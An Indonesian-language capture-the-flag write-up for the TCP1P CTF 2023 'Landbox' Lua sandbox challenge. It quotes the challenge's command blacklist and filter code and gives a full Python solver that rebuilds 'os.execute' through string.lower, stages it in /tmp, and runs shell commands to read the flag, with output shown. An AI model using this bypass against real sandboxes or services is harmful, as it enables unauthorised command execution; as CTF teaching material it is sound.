TCP1P CTF — Landbox
Tags: tcp1pctf2023, misc
Published: 2023-10-17 04:42:40

Halo teman-teman hacker👋! Di artikel ini, kita akan membahas terkait tentang sebuah _chall(enge)_ dari [TCP1P CTF 2023](https://ctf.tcp1p.com/), yang berjudul: [Landbox](https://ctf.tcp1p.com/challenges#Landbox-269).

![Challenge preview](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5x3w2pl195luagzqsp00.png)

## 🤔 Latar belakang

Jadi, apa sih tantangan satu ini? Dari deskripsinya saja, kita dapat mengetahui bahwa aplikasi ini dibuat dari [Lua](https://www.lua.org/).

![Chall description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sfsplruj5l3caqczypp0.png)

Selain itu, kita juga mendapatkan sebuah IP serta port untuk dihubungi dengan [netcat](https://sectools.org/tool/netcat/). Disaat kita terhubung dengan IP tersebut, kita akan mendapat kalimat pengantar untuk tantangan ini. Disini, kita dapat memasukkan kode lua dan dapat diakhiri dengan `-- END`. 

```sh
$ nc 51.161.84.3 22041

Welcome to Landbox! (LUA Sandbox)
Feel free to type your lua code below, type '-- END' once you are done ;)
-- BEGIN
print('hello world')
-- END

-- OUTPUT BEGIN
hello world    
-- OUTPUT END
```

> **✏ Yang kita pelajari**

1. Aplikasi ini dibuat dari [Lua](https://www.lua.org/).
2. Aplikasi ini dapat menjalankan kode lua yang dimasukkan ❗

Karena kita hanya mendapat informasi yang terbatas, ayo kita lihat _source code_ yang diberikan.

## 👩‍💻 Source code

![Source codes](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0hjyh5b68l4tbuziisap.png)

Dari tantangan ini, kita mendapat 2 _file_, yaitu `main.lua` dan sebuah `Dockerfile`. Mari kita lihat `Dockerfile`nya terlebih dahulu, karena kita mungkin bisa mendapat informasi lebih seperti: versi lua, lokasi `flag.txt`, dll.

### 🐳 `Dockerfile`

```docker
FROM ubuntu:latest

# ... dipotong biar lebih singkat

RUN apt-get -y install lua5.4 socat

# ... dipotong biar lebih singkat

RUN chown root:root /flag.txt
RUN mv /flag.txt /flag-`md5sum /flag.txt | awk '{print $1}'`.txt

# ... dipotong biar lebih singkat
```

> **✏ Yang kita pelajari**

1. Versi lua yang dipakai adalah versi 5.4,
2. File `flag.txt` diubah menjadi `flag-<hash md5 flag>.txt`.

Nah, sekarang yang telah ditunggu-tunggu...

### ⚙ `main.lua`

Yang pertama kita lihat setelah membuka _file_ ini yaitu sebuah _function_ untuk menjalankan kode yang kita _input_.

```lua
function run(untrusted_code)
    env['string']['char'] = function() end  
    env['string']['format'] = function() end
    env['string']['gsub'] = function() end
    env['string']['sub'] = function() end
    local res, err = load(untrusted_code, nil, 't', env)
    if not res then 
        print('Error: ' .. err)
        return nil, err 
    end
    return pcall(res)
end

-- ... dipotong biar lebih singkat

local res, err = run(code)

-- ... dipotong biar lebih singkat
```

Sekarang, kita punya tujuan untuk membuat sebuah _payload_ untuk mendapatkan _flag_ dari tantangan ini. Namun, sebelum itu, kita harus melewati 3 pengecekan yaitu:

> 🥇 _1st check_

```lua
blacklist = {'os.execute', 'execute', 'io.popen', 'popen', 'package.loadlib', 'loadlib'}
for line in code:gmatch("[^\n]+") do
    for i = 1, #blacklist do
        if string.find(line, blacklist[i]) then
            print('No! bad code!')
            return 
        end
    end
end
```

Dari penggalan kode ini, kode yang kita _input_ tidak boleh mengandung kata-kata yang didalam `blacklist` atau kita tidak dapat melanjutkan ke _step_ kedua.

> 🥈 _2nd check_

```lua
sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
for i = 1, #blacklist do
    if string.find(sanitized, blacklist[i]) then
        print('No! bad code!')
        return
    end

    local parts = {}
    for part in sanitized:gmatch("0x%x?%x") do
        table.insert(parts, part)
    end
    
    local result = ''
    for j = 1, #parts do
        result = result .. string.char(tonumber(parts[j]:sub(3), 16))
    end
    
    if string.find(result, blacklist[i]) then
        print('No! bad code!')
        return
    end
end
```

Waduuh, yang kedua ini lebih kompleks dari pada yang pertama. Tapi, sebenarnya tidak sesusah itu. Kode `string.gsub` ini, berdasarkan [dokumentasi lua](https://www.lua.org/pil/20.1.html), digunakan untuk mengubah semua karakter yang cocok dengan karakter yang baru.

```lua
sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
```

![Pattern matcher](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xphmb6tedgyuscaa7s8a.png)

Seperti digambar, `sanitized` ini adalah hasil dari fungsi `string.gsub`. Di `gsub` pertama, ternyata ada bug yang mungkin awalnya membuat kita bingung, yaitu _pattern_ `%W`. Sesuai dari tabel _pattern_ diatas, `%W` seharusnya menghapus semua karakter **_alphanumeric_**, namun karena _pattern_ ini **_case-sensitive_**, huruf kapital `W` ini tidak melakukan apa-apa. Sedangkan yang `sanitized` kedua, ini akan menghapus semua angka dari kode kita.

Ada juga kode yang mengubah karakter hexadesimal menjadi karakter yang dapat dicek dengan _list blacklist_.

```lua
local parts = {}
for j = 1, #parts do
    result = result .. string.char(tonumber(parts[j]:sub(3), 16))
end
```

Sama seperti _step_ pertama, hasil yang didapatkan akan dicek kembali dengan _list blacklist_.

> 🥉 _3rd check_

```lua
local result = {}
for match in code:gmatch("['\"](.-)['\"]") do
    table.insert(result, match)
end

local sanitized = ''
for i = 1, #result do
    sanitized = sanitized .. result[i]
end

for i = 1, #blacklist do
    if string.find(sanitized, blacklist[i]) then
        print('No! bad code!')
        return
    end

    local parts = {}
    for part in sanitized:gmatch("\\x%x%x") do
        table.insert(parts, part)
    end

    local result = ''
    for j = 1, #parts do
        result = result .. string.char(tonumber(parts[j]:sub(3), 16))
    end

    if string.find(result, blacklist[i]) then
        print('No! bad code!')
        return
    end
end
```

Sama seperti pengecekan kedua, disini semua kata didalam petik akan dicek dengan _blacklist_, juga dengan semua karakter hexadesimal.

> **✏ Yang kita pelajari**

1. _Payload_ kita tidak boleh mengandung kata-kata dalam blacklist,
2. Kita juga tidak bisa menggunakan karakter hexadesimal.

Dengan informasi yang kita dapat, kita sekarang bisa membuat _solver_ untuk tantangan ini.

## 🧠 Solver

Aku disini akan pakai Python dengan library [`pwntools`](https://github.com/Gallopsled/pwntools#readme). Ayo, kita buat secara perlahan.

**Pertama**, kita butuh membuat sebuah _interface_ untuk berkomunikasi dengan servernya.

```python
from pwn import *
import inspect

def conn():
    # replace host and port for remote
    io = remote("localhost", 1337)
    return io
```

> ℹ **Info**
> Kita bisa menjalankan server lokal sendiri menggunakan `Dockerfile` yang diberikan

**Kedua**, kita harus membuat kode lua yang dapat menjalankan _command_ atau _shell_ di konsol.

```python
def write(cmd: str):
    payload = f"""
    local f=io.open("/tmp/shell.lua", "wb")
    f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
    io.close(f)
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

def exec():
    payload = """
    f = assert(loadfile('/tmp/shell.lua')); f();
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload
```

Didalam fungsi `write`, kita membuat sebuah _file_ di `/tmp/shell.lua` dengan menggunakan fungsi `io.open` lua. Kita dapat menggunakan `io.open` karena yang dilarang itu adalah `io.(p)open`. Lalu, untuk bisa melewati larangan `os.execute`, kita dapat menggunakan fungsi `string.lower` untuk mengubah huruf besar menjadi huruf kecil.

Lalu, dalam fungsi `exec`, kita dapat menjalankan _file_ `/temp/shell.lua` dengan memanfaatkan fungsi `assert` dan `loadfile` dilua.

**Ketiga** dan yang terakhir, kita dapat menjalankan kedua fungsi diatas dengan 2 koneksi yang berbeda. Dikarenakan _file flag_ diubah, kita harus menjalankan 2 _command_ linux, yaitu: `ls` dan `cat`.

```python
def send(cmd: str):
    with conn() as io:
        p1 = write(cmd)
        io.sendlineafter(b"-- BEGIN", p1.encode())
        io.recvuntilS(b"-- OUTPUT END")

    with conn() as io:
        p2 = exec()
        io.sendlineafter(b"-- BEGIN", p2.encode())
        output = io.recvuntilS(b"-- OUTPUT END")
        log.info(output)

        return output

def main():
    output = send('ls -la /')
    flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)

    send('cat /flag-{}.txt'.format(flag[0]))
```

> Berikut adalah _script_ penuhnya

```python
from pwn import *
import inspect

def conn():
    # replace host and port for remote
    io = remote("localhost", 1337)
    return io

def write(cmd: str):
    payload = f"""
    local f=io.open("/tmp/shell.lua", "wb")
    f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
    io.close(f)
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

def exec():
    payload = """
    f = assert(loadfile('/tmp/shell.lua')); f();
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload


def send(cmd: str):
    with conn() as io:
        p1 = write(cmd)
        io.sendlineafter(b"-- BEGIN", p1.encode())
        io.recvuntilS(b"-- OUTPUT END")

    with conn() as io:
        p2 = exec()
        io.sendlineafter(b"-- BEGIN", p2.encode())
        output = io.recvuntilS(b"-- OUTPUT END")
        log.info(output)

        return output

def main():
    output = send('ls -la /')
    flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)

    send('cat /flag-{}.txt'.format(flag[0]))

if __name__ == "__main__":
    main()
```

Saat kita jalankan:

```sh
$ python ./solver.py

# ...
     
[*]

    -- OUTPUT BEGIN
    total 72
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 .
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 ..
    -rwxr-xr-x   1 root root    0 Oct 17 02:31 .dockerenv    
    lrwxrwxrwx   1 root root    7 Oct  4 02:08 bin -> usr/bin
    drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
    drwxr-xr-x   1 root root 4096 Oct 17 02:26 ctf
    drwxr-xr-x   5 root root  360 Oct 17 02:31 dev
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 etc
    -rwxr--r--   1 root root   47 Oct 17 02:25 flag-cd55f8dcbf9176753d5e91133c78e172.txt
    drwxr-xr-x   2 root root 4096 Apr 18  2022 home
    lrwxrwxrwx   1 root root    7 Oct  4 02:08 lib -> usr/lib
    lrwxrwxrwx   1 root root    9 Oct  4 02:08 lib32 -> usr/lib32
    lrwxrwxrwx   1 root root    9 Oct  4 02:08 lib64 -> usr/lib64
    lrwxrwxrwx   1 root root   10 Oct  4 02:08 libx32 -> usr/libx32
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 media
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 mnt
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 opt
    dr-xr-xr-x 366 root root    0 Oct 17 02:31 proc
    drwx------   2 root root 4096 Oct  4 02:12 root
    drwxr-xr-x   5 root root 4096 Oct  4 02:12 run
    lrwxrwxrwx   1 root root    8 Oct  4 02:08 sbin -> usr/sbin
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 srv
    dr-xr-xr-x  11 root root    0 Oct 17 02:31 sys
    drwxrwxrwt   1 root root 4096 Oct 17 02:52 tmp
    drwxr-xr-x   1 root root 4096 Oct  4 02:08 usr
    drwxr-xr-x   1 root root 4096 Oct  4 02:12 var
    -- OUTPUT END

# ...

[*] 

    -- OUTPUT BEGIN
    TCP1P{complex_problem_requires_simple_solution}-- OUTPUT END
```

🎉 Akhirnya kita mendapat flagnya, kawan~

```python
TCP1P{complex_problem_requires_simple_solution}
```

---

Akhir kata, terima kasih untuk membaca write-up ini `^v^`. Apabila ada kritik atau masukkan, silahkan komen saja dibawah atau email ke `hello@edqe.me`.

> 📝 Referensi

Terima kasih untuk write-up dari [4n86rakam1](https://github.com/4n86rakam1) yang menjadi basis dari artikel & write-up ini.